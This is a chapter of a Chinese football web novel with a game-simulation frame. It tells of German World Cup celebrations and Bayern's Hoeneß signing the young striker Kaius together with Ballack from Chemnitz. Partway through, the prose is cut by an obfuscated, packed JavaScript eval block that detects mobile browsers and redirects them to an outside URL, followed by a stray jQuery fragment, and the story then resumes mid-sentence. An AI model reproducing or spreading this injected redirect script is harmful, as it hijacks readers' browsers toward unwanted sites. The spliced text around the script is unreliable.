10.两个一起
作品:《[足球]请选择你的模拟结局》 决赛结束四十分钟后,玫瑰碗球场的喧嚣还没有完全散去。
德国人的狂欢已经从球场蔓延到了更衣室。啤酒的泡沫溅在灰色的水泥墙上,混着香槟的气味,在闷热的空气中发酵成一种让人眩晕的甜腻。
“嘿,凯厄斯。”
克林斯曼的脸上还挂着没擦干净的啤酒沫,金发湿漉漉地贴在额头上,笑容灿烂得像加利福尼亚的阳光。他手里拿着两罐啤酒,其中一罐已经开了口,白色泡沫正顺着罐身往下淌。
他把那罐递到凯厄斯面前,另一只手顺势揉了揉凯厄斯的头发,手感比他预想的要软得多。
【你的队友向你投递胜利的美酒】
【是否接受】
你:酒?尝尝咸淡。
【体力-1】
【体力-1】
你赶紧停下,没想到这小人居然这么容易醉,才踢完比赛的体力已经要见底,再喝下去你就得躺下了。
…
年轻的前锋刚喝几口就迷了眼睛,那双总是带着冷意的灰色瞳孔蒙上了一层薄雾,焦点开始涣散。
克林斯曼吓一跳。
他将手里的啤酒丢开,一把扶住凯厄斯的肩膀,一边慌张地扭头看福格茨在不在附近。主教练还在外面应付媒体暂时没回来,但助教已经在走廊那头了。
“吐出来,快吐出来——”
克林斯曼压低声音,语气里带着明显的慌乱。他伸手想去拍凯厄斯的背,又怕动作太大引起注意。
一旁的布雷默眼疾手快地递了杯苹果汁过来。他把克林斯曼挤开,将果汁杯塞进凯厄斯手里,然后用身体挡住了其他人的视线。
隔着老远,助教就看到他们鬼鬼祟祟的动作。他眯着眼睛,怀疑地盯着克林斯曼。他在俱乐部的时候就认识这些斯图加特来的小子,知道他们什么德行。
助教高声警告:“你们这些坏小子可不许给凯厄斯灌酒,他还是个未成年的孩子!”
他特别在未成年几个字加重音。
一直等凯厄斯握着果汁杯、恢复清醒。克林斯曼才敢移开步子,摸了摸后脑勺假装若无其事的走开。
马特乌斯是最后一个走进更衣室的。
他在外面接受了快二十分钟的采访,忍着脾气说了很多场面话。感谢教练,感谢队友,感谢球迷。当记者问起凯厄斯的时候,他的笑容僵了。
“他踢了一场伟大的比赛。”马特乌斯不情不愿地先夸了句,然后嘟囔道:
“如果他能更懂得尊重,他就完美了。”
胡乱点评了一番他就走了,没有给记者继续追问的机会。
推开更衣室的门,马特乌斯第一眼就看到了放在座位上的奖杯,然后他看到了凯厄斯。
刚刚在场上大放异彩的年轻前锋解完了鞋带,正在把护腿板从袜子里抽出来,他依旧沉默寡言不和旁人搭话。
马特乌斯故意踩着很重的步子过去。
凯厄斯低着头,没反应。
又踩重了一点,就差直接跺脚了。椅子上这个人终于有了反应。
【你的国家队队长想和你交流】
【是否接受】
画面里,你的小人被小土人堵在椅子里面,进退不得。
你:……干嘛,这NPC还记仇,想打架吗?
——
凯厄斯冷着张脸挑起眉尾看马特乌斯,总是带着凶意的灰眼睛平和了不少。他与周围的喧嚣隔离开,像一颗沉在海底的珍珠。
“队长?”
马特乌斯被他看得浑身难受,想说“你踢得不错,很勇敢。”缓和一下他们的关系,他还不至于和一个小孩计较。
并且他不得不承认这个年轻人之前说的是对的,他已经有些力不从心了。到现在他的右膝盖还在隐隐作痛,只是他掩饰的很好没有让人看出异常。
但它依旧会在你每一次起跳、每一次急停、每一次转身的时候,低声告诉你:你不再是以前那个你了。
岁月匆匆不留情,他不是以前那个无所不能的马特乌斯了。
最后,这些话卡在喉咙里,变成了一声短促的、几乎听不见的叹息。
“好好休息吧,小子。后面还有比赛。”
克林斯曼跟见鬼一样看着他。
马特乌斯转身走到自己位置开始换鞋。动作用力得好像鞋带跟他有仇似的。
萨默尔从旁边探过头来,小声说:“洛塔尔,你今天——”
“闭嘴。”马特乌斯粗声粗气,头都没抬的打断他。
萨默尔耸了耸肩,好脾气的缩回去了。
更衣室里的气氛微妙了一瞬,然后又恢复了喧闹,他们不想这么快毁掉这个美妙的夜晚。
所有人都习惯了。马特乌斯就是这样的,他对谁都这样,永远的那么自我中心。
【庆祝晚会……】
skip。
【游行……】
skip。
后面繁琐的系统通报全被你跳过。在最后一个庆祝活动结束时,系统终于大发慈悲的允许你跳转地图回开姆尼茨。
…
凯厄斯回开姆尼茨的消息像长了翅膀一样,不到一天就传遍了整个德国。
《踢球者》用头版报道了这件事,标题是《王子归来》。
文章里写满了溢美之词,把凯厄斯在世界杯上的表现夸上了天,最后它说:[一个十七岁的世界杯冠军,一个能在决赛中力挽狂澜的年轻领袖——他的下一站在哪里?]
许多人千里迢迢,只为了见凯厄斯一面。不大的开姆尼茨城瞬间拥挤热闹了起来。
为了保护球员,开姆尼茨训练场的安保整整增加了三倍不止。总有疯狂的球迷会去做些不理智的事情。
俱乐部捧着凯厄斯这座新鲜出炉的精贵金娃娃,又喜又愁。
早在获得德乙冠军的时候,关于凯厄斯的报价就如雪花般纷纷而来,德国的,意大利的,英格兰的,其中不乏豪门。
如果开姆尼茨也是豪门,他们可以非常大声硬气地告诉他们凯厄斯是非卖品。
可事实上他们只是一家没钱、没权、穷得叮当响的中型俱乐部。好不容易开出块稀世宝石,想留也没能力留住。
世界杯开始前,俱乐部主席专门找凯厄斯问过他的意愿。
凯厄斯只说他要在德国。巴拉克得跟他一起。
想在德国,说明他还是个恋家的好孩子,说不准以后他老了会重新回开姆尼茨呢?落叶归根,衣锦还乡,这种事情在足球世界里并不少见。
俱乐部主席咬了咬牙,既然都留不住那就卖个价格最高的。起码对方有钱,对他们的萨克森双子星不会太差。
看来看去,最后还是喜欢挖竞争对手核心,在整个德甲内臭名昭著,阴险卑鄙的拜仁报价最高。
在征求两个孩子,主要是凯厄斯的意愿后,开姆尼茨主席向拜仁那边松了口。
…
赫内斯是在慕尼黑自家的客厅里看完决赛的。
拜仁的经理本来已经帮他订好了机票。他是准备飞往洛杉矶亲眼看着那个东德的孩子在世界杯决赛上踢球,顺便在合同上把最后一笔敲定。
但开姆尼茨主席的电话让他改了主意。
“等决赛结束再谈。”那个东德人的声音很疲惫,“让他先踢球,这是他最重要的日子。”
这不是待价而沽的谈判策略。这只是开姆尼茨主席为那个像自己孩子一样的球员唯一能争取的事情。
在世界杯决赛之前,不要让转会的事分散他的注意力。
赫内斯同意了。所以他坐在慕尼黑的家里,手里拿着一杯啤酒,看着电视屏幕里那个灰眼睛的少年一次又一次地冲击巴西队的防线。
德国队获胜的时候,赫内斯的啤酒洒了一半。
他没有功夫去擦,目不转睛地盯着屏幕里那个正在奔跑的少年。赫内斯几乎要大笑出来。看啊,这个年轻的前锋多么宝贵难得,华光璀璨。
但是很快——
他就会属于拜仁了。
赫内斯带着快意对着电视举杯,声音与屋外的狂欢重叠。
“敬胜利,敬德国。”
——敬一切。赫内斯笑着将剩余的啤酒饮尽,他得想想后面怎么安排凯厄斯的事情。
球迷的,俱乐部的,包括更衣室那些人的。
…
世界杯结束的第三天,赫内斯立刻动身飞去了开姆尼茨。
只带了他的助理和一个公文包,里面装着一份已经拟好的合同和一个空白支票本。
早有准备的开姆尼茨的主席在办公室等他。两个人的眼睛下面都有很深的青黑色,一个是熬夜看球,一个是愁的睡不着。
“四百万马克。”
赫内斯把报价单放在桌上,没有寒暄,没有铺垫,直接报出了数字。比最开始的报价整整翻了两倍。
没想到拜仁直接这么大手笔,开姆尼茨主席眼里全是无奈和不甘,他握着自己的手看着赫内斯,十指交叉指节因为用力而泛白。
“再加八十万。”
“把米夏埃尔·巴拉克也带走,他们两个是一对的,不拆开卖。”
赫内斯当即皱眉。他对双子星的另一个有点印象,是个踢中场的孩子。
他的球探在报告中提过他:身体素质好,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422422|200812||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跑动积极,技术粗糙但有在提升,上限不高,但下限不低。
不够有天赋,但够用。未来或许会是一个合格的德甲中场。可这次来赫内斯压根没打算买他。拜仁的中场已经足够拥挤了,马特乌斯、绍尔、内林格……很多很多。
中场靠的不止是天赋,最重要的是日积月累的经验。这个开姆尼茨的小年轻还排不上号。
自然的,赫内斯眼底带了些轻视,他垂下视线掩盖,散漫的余光扫到了桌上那张支票。
如果不是因为开姆尼茨这个俱乐部太弱小了,他们根本不可能以这样的价格引进这颗已经冉冉升起的新星。
赫内斯仔细回忆,好像萨克森的这对双子星从小就形影不离,从少年队到青年队再到一线队,如两道藤蔓一样缠绕在一起。
他们之间的默契足以跨越经验的空缺。
拜仁现在不想要巴拉克,但凯厄斯会想要。
赫内斯权衡了几下利弊,用手指叩了几下桌面,还是点头同意了。
“可以。两个一起。马上签合同。”
开姆尼茨主席松了口气,他站起身带着苦涩的微笑主动伸出手,赫内斯一脸平静地握住。
—
开姆尼茨一个偏僻的训练场里,就凯厄斯和巴拉克在里面。
训练场在城市的边缘,被一片小树林包围着。这里的草皮不太好,有些地方已经秃了,露出下面硬邦邦的泥土。球门上的网破了好几个洞,风一吹就呼呼作响。但这是凯厄斯最喜欢的地方。
安静,没人打扰,只有他和足球。最多加个巴拉克。
凯厄斯练完自己的350个射门就坐在场边休息,坐着坐着他就躺在地上睡着了。
很死板的睡姿。躺得笔直,双手交握放在腹部,表情很安详,连呼吸起伏都很微弱。
第一次见这种睡姿的时候可把小时候的巴拉克吓坏了。加上凯厄斯的肤色很怪,太苍白了,白的诡异,像一捧随时融化的新雪。
即使是太阳最大的日子,巴拉克和其他孩子黑了两个度,都没见凯厄斯的肤色发生过变化。
可他的肤色又那样容易引人误会。当凯厄斯不声不响的躺在那儿的时候,巴拉克满脑子都是坏念头。
8岁的凯厄斯最难相处,他简直就是全世界最冷硬的臭石头,除了踢球的时候他从不理会巴拉克。
好不容易把凯厄斯摇醒的巴拉克心惊有余,让凯厄斯换个姿势睡。
凯厄斯冷漠地瞥他一眼,闭上眼睛依旧我行我素。过了一会儿巴拉克又去摇他。也许是被吵烦了,凯厄斯臭着脸爬起来拽着巴拉克故意靠在他身上。
他理直气壮地命令:“安静。不准动。”
巴拉克绷着脸还在生闷气,愣是就那样抱着胳膊坐着,硬挺着让凯厄斯靠了一个多小时。
“你真怪。”醒了的凯厄斯说。
巴拉克:“……”
他愤懑的用胳膊圈着凯厄斯脖子将他拉近,狠狠揉乱气死人不偿命的前锋的头发才解气。
凯厄斯翘着头发懵了,没人敢这么对他。
“我肩膀都麻了,你还这么说我。”巴拉克抱怨着揉肩。
阳光从训练场的东边斜照过来,把他的影子拉得很长很长。凯厄斯坐在他面前,第一次用他的灰眼睛仔细地看清楚了巴拉克这个人。
—
等巴拉克完成自己的训练,凯厄斯已经睡了好久。
巴拉克蹲在凯厄斯面前,低头看着他毫无防备的睡脸。这段时间他太累了,德乙、世界杯、各种活动缠着他。
即使这样累,他还是每天雷打不动的坚持训练。
整个俱乐部只有凯厄斯有这样的毅力,就连巴拉克这样严于律己的人,偶尔累了都想休息,凯厄斯从不。
他从小时候就是个异类,独来独往,身上总蒙着层面纱。
面纱背后他那双专注到近乎偏执的眼睛紧盯着足球,紧盯着所有人,既渴望着理解又抗拒着人们的靠近。
而巴拉克被吸引着探究,却发现不光是他的孤独,连同那份对世人,对足球不谙世事的纯粹执拗,都是令他深陷其中的罪魁祸首。
只是偶然间多看了一眼,巴拉克就将自己的未来全部赌在了他身上 。
巴拉克伸出手,轻轻拨开凯厄斯额前的碎发,对方的睡姿依旧让他闹心,好在他已经习惯。
“你又要去慕尼黑了,这次我也要去。”
被追逐的东德明珠不高兴地皱眉,他动了动手,闭着眼睛抓住巴拉克的衣摆暗暗威胁。
再吵就拿你当肉垫。
巴拉克不再说话,顺势把外套脱下来搭在他身上。

